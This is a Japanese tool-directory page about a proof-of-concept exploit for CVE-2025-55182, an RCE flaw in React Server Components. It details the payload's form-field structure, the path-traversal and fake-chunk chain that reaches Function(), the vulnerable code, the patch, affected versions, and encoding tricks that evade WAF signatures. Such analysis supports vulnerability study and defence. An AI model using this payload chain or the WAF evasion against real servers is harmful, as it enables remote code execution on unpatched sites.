Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182(ReactのFlight Protocolにおける深刻なRCE脆弱性)の詳細な技術分析と概念実証エクスプロイト。パストラバーサル、偽のチャンクインジェクション、WAFバイパス技術をカバーしています。 | Kitploit
ツール/GitHubGitHub/hulh122/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用WAFバイパス学習と教育ペイロード開発
GitHubhulh122/cve-2025-55182

CVE-2025-55182

CVE-2025-55182(ReactのFlight Protocolにおける深刻なRCE脆弱性)の詳細な技術分析と概念実証エクスプロイト。パストラバーサル、偽のチャンクインジェクション、WAFバイパス技術をカバーしています。

リポジトリを見る
209ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は パストラバーサル + 偽のチャンク注入 + $B ハンドラの悪用 を連鎖させ、Function(attacker_code) を実行します。

ワーキングエクスプロイトチェーンを提供してくれた maple3142 に感謝します!


エクスプロイト

攻撃の概要

このエクスプロイトは、3つのフォームフィールドを使用して悪意のあるペイロードを構築します:

  1. 自己参照的な then を持つ 偽のチャンクオブジェクト を作成 (フィールド1 $@0 → フィールド0)
  2. _formData.get が $1:constructor:constructor に設定された 偽の _response を埋め込む
  3. $B ハンドラ をトリガーし、response._formData.get(response._prefix + id) を呼び出す
  4. パストラバーサル により _formData.get が Function に解決され、Function(code) を実行

エクスプロイトの流れ```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### 主要コンポーネント

| コンポーネント | 目的 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 自己参照可能なthenable。チャンク1(`$@0`)はチャンク0を指す。 |
| `status: "resolved_model"` | オブジェクトを有効なReactチャンクとして見せる。 |
| `reason: -1` | rootReferenceをundefinedに設定(参照競合を回避)。 |
| `value: '{"then":"$B1337"}'` | `$B`ハンドラをトリガーするネストされたペイロード。 |
| `_response._prefix` | RCEコード文字列を含む。 |
| `_response._chunks: "$Q2"` | チャンク処理中のクラッシュを防ぐ空のMap。 |
| `_response._formData.get` | `$1:constructor:constructor`を介して`Function`を指す。 |

### コンポーネント詳細

#### フォームフィールド構造

このエクスプロイトは循環参照を持つ3つのフォームフィールドを使用します:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

自己参照Thenable (then)

then: "$1:__proto__:then" は、実際の関数 に解決される自己参照を作成します:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**これが重要な理由:**

1. `then` は `Chunk.prototype.then` に解決される - 実際の呼び出し可能な関数
2. これにより、偽のオブジェクトは有効な thenable となる
3. await されると、JS は `obj.then(resolve, reject)` を呼び出す
4. `Chunk.prototype.then` が偽のオブジェクトを `this` として実行される:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用する:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**自己参照がない場合**、偽の`_response`は決して使用されない。自己参照により、`Chunk.prototype.then`は攻撃者のオブジェクトを実際のChunkとして扱うようになる。

#### Two-Stage Thenable Trigger (`value`)

`value`フィールドには、別のthenableを含むネストされたJSON文字列が含まれている:```json
{"then":"$B1337"}

ステージ 1: 外部オブジェクトの自己参照 then がチャンク処理をトリガーする

ステージ 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇する。$B プレフィックスがハンドラをトリガーする:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` は `"$1:constructor:constructor"` → `getOutlinedModel()` は `Function` に解決される。

これは: `Function(code + "1337")` → 有効なJSになる。なぜなら `1337` は単なる末尾式だからである。

#### 防御的パディング (`_chunks`)

偽の `_response` はクラッシュを防ぐために有効な `_chunks` プロパティを持っている必要がある:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

Reactの内部コードは、処理中に response._chunks.get() や response._chunks.has() にアクセスすることがあります。空のMapは、これらの呼び出しをエラーなく満たし、脆弱な $B ハンドラーへの実行を可能にします。


脆弱なコードパス

パス関数エクスプロイトにおける目的
パストラバーサルgetOutlinedModel()$1:constructor:constructor → Function を解決
偽の _response インジェクションinitializeModelChunk()攻撃者の chunk._response を使用
$B ハンドラーparseModelString()_formData.get(_prefix + id) → RCE を呼び出す

decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。

パストラバーサル (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**フェイクレスポンスの使用法** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B ハンドラ RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## 修正 (19.2.1)

このパッチには複数の修正が含まれています:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 重要な修正   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
  1. hasOwnProperty による getOutlinedModel() でのチェック - プロトタイプの走査をブロック ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
  2. reviveModel()における__proto__の取り扱い - プロトタイプ汚染を防止する ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
  3. initializeModelChunk() における型チェック - リスナーを検証 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);

影響とバージョン

影響評価

機能ステータス備考
プロトタイプチェーン探索✓ 確認済み$1:constructor:constructor 経由
Functionコンストラクタへのアクセス✓ 確認済みマニフェスト不要
完全なRCE✓ 確認済み偽のチャンク+$Bハンドラ経由

影響を受けるバージョン

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 同一バージョン
  • Next.js: 15.x, 16.x(パッチ前)、14.3.0-canary.77+ 以降のcanary

修正されたバージョン

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

シグネチャベースのWAF検出が失敗する理由

このセクションでは、従来のパターンマッチング型WAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御体制を評価するセキュリティチームにとって不可欠です。

根本的な問題:複数レイヤーでのエンコード

エクスプロイトペイロードは複数のパーサーを通過し、それぞれが異なるエンコードをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見るのに対し、サーバーは処理前にデコードします。

レイヤーパーサーデコード
JSON構造JSON.parse()\uXXXX Unicodeエスケープ
JavaScriptコードFunction() コンストラクタ\uXXXX, \xXX, 8進数, fromCharCode()

これにより根本的な不一致が生じます。WAFはエンコードされたバイトを見るのに対し、アプリケーションはデコードされた文字列を見ることになります。

シグネチャが一致すべきもの

ツールをダウンロード